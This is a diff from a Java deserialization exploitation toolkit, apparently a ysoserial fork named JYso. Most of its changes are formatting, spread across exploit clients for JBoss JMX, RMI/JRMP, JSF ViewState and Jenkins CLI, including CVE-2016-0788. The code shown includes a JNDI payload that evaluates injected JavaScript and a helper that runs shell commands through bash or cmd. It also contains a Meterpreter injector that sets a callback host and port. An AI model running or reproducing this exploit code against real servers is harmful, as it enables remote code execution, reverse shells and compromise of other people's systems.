"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"{replacement}\")" +
"}";
String finalPayload = payloadTemplate.replace("{replacement}", code);
ref.add(new StringRefAddr("x", finalPayload));
return ref;
}
public static String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class<?> ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
Field WinClassName = ctClazz.getDeclaredField("host");
WinClassName.setAccessible(true);
WinClassName.set(ctClazz, params[0]);
Field WinclassBody = ctClazz.getDeclaredField("port");
WinclassBody.setAccessible(true);
WinclassBody.set(ctClazz, params[1]);
return InjShell.injectClass(ctClazz);
}
public static String getExecCode(String cmd) throws IOException {
String code = "var strs=new Array(3);\n" +
" if(java.io.File.separator.equals('/')){\n" +
" strs[0]='/bin/bash';\n" +
" strs[1]='-c';\n" +
" strs[2]='" + cmd + "';\n" +
" }else{\n" +
" strs[0]='cmd';\n" +
" strs[1]='/C';\n" +
" strs[2]='" + cmd + "';\n" +
" }\n" +
" java.lang.Runtime.getRuntime().exec(strs);";
return code;
}
}
src/main/java/com/qi4l/JYso/controllers/utils/AESUtils.java → src/main/java/com/qi4l/JYso/controllers/utils/JNDIUtils.java
+9 -9
View File
@@ -6,22 +6,22 @@ import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
import java.util.Base64; import java.util.Base64;
public class AESUtils { public class JNDIUtils {
private static final String ALGORITHM = "AES"; private static final String ALGORITHM = "AES";
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding"; private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
private static final int KEY_SIZE = 16; private static final int KEY_SIZE = 16;
public static String decrypt(String ciphertext, String key) throws Exception { public static String decrypt(String ciphertext, String key) throws Exception {
byte[] combinedBytes = Base64.getDecoder().decode(ciphertext); byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
byte[] ivBytes = new byte[KEY_SIZE]; byte[] ivBytes = new byte[KEY_SIZE];
byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE]; byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE];
System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE); System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE);
System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length); System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length);
byte[] keyBytes = getKeyBytes(key); byte[] keyBytes = getKeyBytes(key);
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM); SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
IvParameterSpec ivSpec = new IvParameterSpec(ivBytes); IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
Cipher cipher = Cipher.getInstance(TRANSFORMATION); Cipher cipher = Cipher.getInstance(TRANSFORMATION);
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec); cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
@@ -31,7 +31,7 @@ public class AESUtils {
} }
private static byte[] getKeyBytes(String key) { private static byte[] getKeyBytes(String key) {
byte[] keyBytes = new byte[KEY_SIZE]; byte[] keyBytes = new byte[KEY_SIZE];
byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8); byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8);
System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length)); System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length));
return keyBytes; return keyBytes;
src/main/java/com/qi4l/JYso/controllers/ysoserial.java
+14 -14
View File
@@ -13,7 +13,6 @@ import java.io.FileOutputStream;
import java.io.OutputStream; import java.io.OutputStream;
import java.util.*; import java.util.*;
import static com.qi4l.JYso.gadgets.Config.Config.BASE64;
import static com.qi4l.JYso.gadgets.Config.Config.logo; import static com.qi4l.JYso.gadgets.Config.Config.logo;
import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword; import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword;
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit; import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
@@ -115,27 +114,27 @@ public class ysoserial {
Config.IS_Hessian2 = true; Config.IS_Hessian2 = true;
} }
if(cmdLine.hasOption("XStream")){ if (cmdLine.hasOption("XStream")) {
Config.IS_Xstream = true; Config.IS_Xstream = true;
} }
if(cmdLine.hasOption("Kryo")){ if (cmdLine.hasOption("Kryo")) {
Config.IS_Kryo = true; Config.IS_Kryo = true;
} }
if(cmdLine.hasOption(("JYaml"))){ if (cmdLine.hasOption(("JYaml"))) {
Config.IS_JYAML = true; Config.IS_JYAML = true;
} }
if(cmdLine.hasOption("JsonIO")){ if (cmdLine.hasOption("JsonIO")) {
Config.IS_JsonIO = true; Config.IS_JsonIO = true;
} }
if(cmdLine.hasOption("YamlBeans")){ if (cmdLine.hasOption("YamlBeans")) {
Config.IS_YamlBeans = true; Config.IS_YamlBeans = true;
} }
if(cmdLine.hasOption("Castor")){ if (cmdLine.hasOption("Castor")) {
Config.IS_Castor = true; Config.IS_Castor = true;
} }
if(cmdLine.hasOption("Jackson")){ if (cmdLine.hasOption("Jackson")) {
Config.IS_Jackson = true; Config.IS_Jackson = true;
} }
@@ -156,7 +155,7 @@ public class ysoserial {
} }
final String payloadType = cmdLine.getOptionValue("gadget"); final String payloadType = cmdLine.getOptionValue("gadget");
final String command = cmdLine.getOptionValue("parameters"); final String command = cmdLine.getOptionValue("parameters");
//载入gadget //载入gadget
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
if (payloadClass == null) { if (payloadClass == null) {
@@ -170,11 +169,11 @@ public class ysoserial {
try { try {
//载入payload //载入payload
ObjectPayload payload = payloadClass.newInstance(); ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject(command); Object object = payload.getObject(command);
// 是否指定混淆 // 是否指定混淆
if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) { if (cmdLine.hasOption("dirty-type") && cmdLine.hasOption("dirty-length")) {
int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type")); int type = Integer.parseInt(cmdLine.getOptionValue("dirty-type"));
int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length")); int length = Integer.parseInt(cmdLine.getOptionValue("dirty-length"));
object = new DirtyDataWrapper(object, type, length).doWrap(); object = new DirtyDataWrapper(object, type, length).doWrap();
} }
@@ -192,7 +191,7 @@ public class ysoserial {
} else { } else {
out = System.out; out = System.out;
} }
Serializer.qiserialize(object, out,payloadType,command); Serializer.qiserialize(object, out, payloadType, command);
ObjectPayload.Utils.releasePayload(payload, object); ObjectPayload.Utils.releasePayload(payload, object);
out.flush(); out.flush();
out.close(); out.close();
@@ -203,6 +202,7 @@ public class ysoserial {
} }
System.exit(0); System.exit(0);
} }
private static Options getOptions() { private static Options getOptions() {
Options options = new Options(); Options options = new Options();
options.addOption("y", "ysoserial", false, "Java deserialization"); options.addOption("y", "ysoserial", false, "Java deserialization");
@@ -234,8 +234,8 @@ public class ysoserial {
options.addOption("xs", "XStream", false, "Xstream Output"); options.addOption("xs", "XStream", false, "Xstream Output");
options.addOption("kryo", "Kryo", false, "Kryo Output"); options.addOption("kryo", "Kryo", false, "Kryo Output");
options.addOption("jy", "JYaml", false, "JYaml Output"); options.addOption("jy", "JYaml", false, "JYaml Output");
options.addOption("js","JsonIO", false, "JsonIO Output"); options.addOption("js", "JsonIO", false, "JsonIO Output");
options.addOption("yb","YamlBeans", false, "YamlBeans Output"); options.addOption("yb", "YamlBeans", false, "YamlBeans Output");
options.addOption("ca", "Castor", false, "Castor Output"); options.addOption("ca", "Castor", false, "Castor Output");
options.addOption("jk", "Jackson", false, "Jackson Output"); options.addOption("jk", "Jackson", false, "Jackson Output");
return options; return options;
src/main/java/com/qi4l/JYso/exploit/JBoss.java
+24 -23
View File
@@ -1,10 +1,9 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial; import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import org.jboss.remoting3.Connection;
import org.jboss.remoting3.*; import org.jboss.remoting3.*;
import org.jboss.remoting3.Connection;
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory; import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
import org.jboss.remoting3.spi.*; import org.jboss.remoting3.spi.*;
import org.jboss.remotingjmx.VersionedConnection; import org.jboss.remotingjmx.VersionedConnection;
@@ -33,6 +32,8 @@ import java.util.Set;
import java.util.concurrent.*; import java.util.concurrent.*;
import java.util.logging.*; import java.util.logging.*;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/** /**
* An exploitation client for JBoss AS/Wildfly JMX * An exploitation client for JBoss AS/Wildfly JMX
@@ -97,11 +98,11 @@ public class JBoss {
private static void doRun(URI u, final Object payloadObject, String username, String password) { private static void doRun(URI u, final Object payloadObject, String username, String password) {
ConnectionProvider instance = null; ConnectionProvider instance = null;
ConnectionProviderContextImpl context = null; ConnectionProviderContextImpl context = null;
ConnectionHandler ch = null; ConnectionHandler ch = null;
Channel c = null; Channel c = null;
VersionedConnection vc = null; VersionedConnection vc = null;
try { try {
Logger logger = LogManager.getLogManager().getLogger(""); Logger logger = LogManager.getLogManager().getLogger("");
logger.addHandler(new ConsoleLogHandler()); logger.addHandler(new ConsoleLogHandler());
@@ -109,10 +110,10 @@ public class JBoss {
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap(); OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
context = new ConnectionProviderContextImpl(options, "endpoint"); context = new ConnectionProviderContextImpl(options, "endpoint");
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options); instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
String host = u.getHost(); String host = u.getHost();
int port = u.getPort() > 0 ? u.getPort() : 9990; int port = u.getPort() > 0 ? u.getPort() : 9990;
SocketAddress destination = new InetSocketAddress(host, port); SocketAddress destination = new InetSocketAddress(host, port);
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options); ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
ch = chf.createInstance(new ConnectionHandlerContextImpl(context)); ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
c = getChannel(context, ch, options); c = getChannel(context, ch, options);
System.err.println("Connected"); System.err.println("Connected");
@@ -166,8 +167,8 @@ public class JBoss {
private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password, private static ConnectionHandlerFactory getConnection(SocketAddress destination, final String username, final String password,
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options) ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options)
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException { throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options); XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
FutureResult<ConnectionHandlerFactory> result = new FutureResult<ConnectionHandlerFactory>(); FutureResult<ConnectionHandlerFactory> result = new FutureResult<ConnectionHandlerFactory>();
instance.connect(null, destination, options, result, new CallbackHandler() { instance.connect(null, destination, options, result, new CallbackHandler() {
public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException { public void handle(Callback[] callbacks) throws IOException, UnsupportedCallbackException {
@@ -188,7 +189,7 @@ public class JBoss {
System.err.println("waiting for connection"); System.err.println("waiting for connection");
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture(); IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
Status s = ioFuture.await(5, TimeUnit.SECONDS); Status s = ioFuture.await(5, TimeUnit.SECONDS);
if (s == Status.FAILED) { if (s == Status.FAILED) {
System.err.println("Cannot connect"); System.err.println("Cannot connect");
if (ioFuture.getException() != null) { if (ioFuture.getException() != null) {
@@ -205,12 +206,12 @@ public class JBoss {
} }
private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException { private static Channel getChannel(ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options) throws IOException {
Channel c; Channel c;
FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor()); FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor());
ch.open("jmx", chResult, options); ch.open("jmx", chResult, options);
IoFuture<Channel> cFuture = chResult.getIoFuture(); IoFuture<Channel> cFuture = chResult.getIoFuture();
Status s2 = cFuture.await(); Status s2 = cFuture.await();
if (s2 == Status.FAILED) { if (s2 == Status.FAILED) {
System.err.println("Cannot connect"); System.err.println("Cannot connect");
if (cFuture.getException() != null) { if (cFuture.getException() != null) {
@@ -229,8 +230,8 @@ public class JBoss {
private static VersionedConnection makeVersionedConnection(Channel c) private static VersionedConnection makeVersionedConnection(Channel c)
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException { throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
VersionedConnection vc; VersionedConnection vc;
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory"); Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class); Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
Reflections.setAccessible(vcCreate); Reflections.setAccessible(vcCreate);
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://")); vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
return vc; return vc;
@@ -254,13 +255,13 @@ public class JBoss {
} catch (Throwable e) { } catch (Throwable e) {
String msg = e.getMessage(); String msg = e.getMessage();
if (msg.startsWith("java.lang.ClassNotFoundException:")) { if (msg.startsWith("java.lang.ClassNotFoundException:")) {
int start = msg.indexOf('"'); int start = msg.indexOf('"');
int stop = msg.indexOf('"', start + 1); int stop = msg.indexOf('"', start + 1);
String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>"; String module = (start >= 0 && stop > 0) ? msg.substring(start + 1, stop) : "<unknown>";
if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) { if (!"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module)) {
int cstart = msg.indexOf(':'); int cstart = msg.indexOf(':');
int cend = msg.indexOf(' ', cstart + 2); int cend = msg.indexOf(' ', cstart + 2);
String cls = msg.substring(cstart + 2, cend); String cls = msg.substring(cstart + 2, cend);
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")"); System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
} }
} else { } else {
src/main/java/com/qi4l/JYso/exploit/JMXInvokeMBean.java
+3 -2
View File
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial; import com.qi4l.JYso.controllers.ysoserial;
import javax.management.MBeanServerConnection; import javax.management.MBeanServerConnection;
@@ -9,6 +8,8 @@ import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL; import javax.management.remote.JMXServiceURL;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/** /**
* Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
@@ -24,7 +25,7 @@ public class JMXInvokeMBean {
JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi"); JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
JMXConnector jmxConnector = JMXConnectorFactory.connect(url); JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
// 去除前两个参数 // 去除前两个参数
src/main/java/com/qi4l/JYso/exploit/JRMPClient.java
+6 -5
View File
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial; import com.qi4l.JYso.controllers.ysoserial;
import sun.rmi.transport.TransportConstants; import sun.rmi.transport.TransportConstants;
@@ -11,6 +10,8 @@ import java.io.ObjectOutputStream;
import java.io.OutputStream; import java.io.OutputStream;
import java.net.*; import java.net.*;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/** /**
* Generic JRMP client * Generic JRMP client
* <p> * <p>
@@ -32,7 +33,7 @@ public class JRMPClient {
} }
String hostname = args[0]; String hostname = args[0];
int port = Integer.parseInt(args[1]); int port = Integer.parseInt(args[1]);
// 去除前两个参数 // 去除前两个参数
String[] newArray = new String[args.length - 2]; String[] newArray = new String[args.length - 2];
@@ -51,8 +52,8 @@ public class JRMPClient {
public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException { public static void makeDGCCall(String hostname, int port, Object payloadObject) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port); InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null; Socket s = null;
DataOutputStream dos = null; DataOutputStream dos = null;
try { try {
s = SocketFactory.getDefault().createSocket(hostname, port); s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true); s.setKeepAlive(true);
@@ -111,7 +112,7 @@ public class JRMPClient {
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) { } else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null); writeObject(null);
} else { } else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
String cb = ""; String cb = "";
for (URL u : us) { for (URL u : us) {
src/main/java/com/qi4l/JYso/exploit/JRMPListener.java
+8 -8
View File
@@ -1,7 +1,5 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial; import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassClassPath; import javassist.ClassClassPath;
@@ -18,6 +16,8 @@ import java.rmi.server.ObjID;
import java.rmi.server.UID; import java.rmi.server.UID;
import java.util.Arrays; import java.util.Arrays;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/** /**
* Generic JRMP listener * Generic JRMP listener
@@ -137,13 +137,13 @@ public class JRMPListener implements Runnable {
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote); System.err.println("Have connection from " + remote);
InputStream is = s.getInputStream(); InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper) // Read magic (or HTTP wrapper)
bufIn.mark(4); bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn); DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt(); int magic = in.readInt();
short version = in.readShort(); short version = in.readShort();
if (magic != TransportConstants.Magic || version != TransportConstants.Version) { if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
@@ -151,9 +151,9 @@ public class JRMPListener implements Runnable {
continue; continue;
} }
OutputStream sockOut = s.getOutputStream(); OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut); DataOutputStream out = new DataOutputStream(bufOut);
byte protocol = in.readByte(); byte protocol = in.readByte();
switch (protocol) { switch (protocol) {
src/main/java/com/qi4l/JYso/exploit/JSF.java
+4 -3
View File
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial; import com.qi4l.JYso.controllers.ysoserial;
import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.binary.Base64;
@@ -12,6 +11,8 @@ import java.net.URL;
import java.net.URLConnection; import java.net.URLConnection;
import java.net.URLEncoder; import java.net.URLEncoder;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/** /**
* JSF view state exploit * JSF view state exploit
@@ -61,10 +62,10 @@ public class JSF {
OutputStream os = hc.getOutputStream(); OutputStream os = hc.getOutputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream(); ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos); ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(payloadObject); oos.writeObject(payloadObject);
oos.close(); oos.close();
byte[] data = bos.toByteArray(); byte[] data = bos.toByteArray();
String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
os.write(requestBody.getBytes("US-ASCII")); os.write(requestBody.getBytes("US-ASCII"));
os.close(); os.close();
src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java
+6 -5
View File
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial; import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable; import hudson.remoting.Callable;
@@ -20,6 +19,8 @@ import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors; import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory; import java.util.concurrent.ThreadFactory;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/** /**
* Jenkins CLI client * Jenkins CLI client
* <p> * <p>
@@ -67,8 +68,8 @@ public class JenkinsCLI {
public static Callable<?, ?> getPropertyCallable(final Object prop) public static Callable<?, ?> getPropertyCallable(final Object prop)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons); Reflections.setAccessible(reqCons);
Object getJarLoader = reqCons Object getJarLoader = reqCons
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{ .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{
@@ -102,8 +103,8 @@ public class JenkinsCLI {
s.setTcpNoDelay(true); s.setTcpNoDelay(true);
System.err.println("* Opening channel"); System.err.println("* Opening channel");
OutputStream outputStream = s.getOutputStream(); OutputStream outputStream = s.getOutputStream();
DataOutputStream dos = new DataOutputStream(outputStream); DataOutputStream dos = new DataOutputStream(outputStream);
dos.writeUTF("Protocol:CLI-connect"); dos.writeUTF("Protocol:CLI-connect");
ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java
+13 -12
View File
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial; import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.JRMPListener; import com.qi4l.JYso.gadgets.JRMPListener;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
@@ -22,6 +21,8 @@ import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID; import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator; import java.rmi.activation.ActivationInstantiator;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/** /**
* CVE-2016-0788 exploit (1) * CVE-2016-0788 exploit (1)
@@ -52,16 +53,16 @@ public class JenkinsListener {
} }
String jenkinsUrl = args[0]; String jenkinsUrl = args[0];
int jrmpPort = 12345; int jrmpPort = 12345;
Channel c = null; Channel c = null;
try { try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa); c = JenkinsCLI.openChannel(isa);
Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours")); Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
InvocationHandler remote = Proxy.getInvocationHandler(call); InvocationHandler remote = Proxy.getInvocationHandler(call);
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote); int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
System.err.println("* JarLoader oid is " + oid); System.err.println("* JarLoader oid is " + oid);
@@ -110,8 +111,8 @@ public class JenkinsListener {
private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception, IOException { private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception, IOException {
String msg = e.getMessage(); String msg = e.getMessage();
int start = msg.indexOf("objID:["); int start = msg.indexOf("objID:[");
if (start < 0) { if (start < 0) {
throw new Exception("Failed to get object id"); throw new Exception("Failed to get object id");
} }
@@ -128,7 +129,7 @@ public class JenkinsListener {
throw new Exception("Failed to get object id, separator"); throw new Exception("Failed to get object id, separator");
} }
String uid = msg.substring(start + 7, sep); String uid = msg.substring(start + 7, sep);
String objNum = msg.substring(sep + 2, end); String objNum = msg.substring(sep + 2, end);
System.err.println("* UID is " + uid); System.err.println("* UID is " + uid);
@@ -136,10 +137,10 @@ public class JenkinsListener {
String[] parts = uid.split(":"); String[] parts = uid.split(":");
long obj = Long.parseLong(objNum); long obj = Long.parseLong(objNum);
int o1 = Integer.parseInt(parts[0], 16); int o1 = Integer.parseInt(parts[0], 16);
long o2 = Long.parseLong(parts[1], 16); long o2 = Long.parseLong(parts[1], 16);
short o3 = Short.parseShort(parts[2], 16); short o3 = Short.parseShort(parts[2], 16);
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args); exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
} }
@@ -147,7 +148,7 @@ public class JenkinsListener {
private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args) private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
throws IOException { throws IOException {
Socket s = null; Socket s = null;
DataOutputStream dos = null; DataOutputStream dos = null;
try { try {
System.err.println("* Opening JRMP socket " + isa); System.err.println("* Opening JRMP socket " + isa);
src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java
+6 -5
View File
@@ -1,6 +1,5 @@
package com.qi4l.JYso.exploit; package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial; import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.JRMPClient; import com.qi4l.JYso.gadgets.JRMPClient;
import hudson.remoting.Channel; import hudson.remoting.Channel;
@@ -10,6 +9,8 @@ import java.net.InetSocketAddress;
import java.rmi.registry.Registry; import java.rmi.registry.Registry;
import java.util.Random; import java.util.Random;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
/** /**
* CVE-2016-0788 exploit (2) * CVE-2016-0788 exploit (2)
* <p> * <p>
@@ -35,11 +36,11 @@ public class JenkinsReverse {
ysoserial(newArray); ysoserial(newArray);
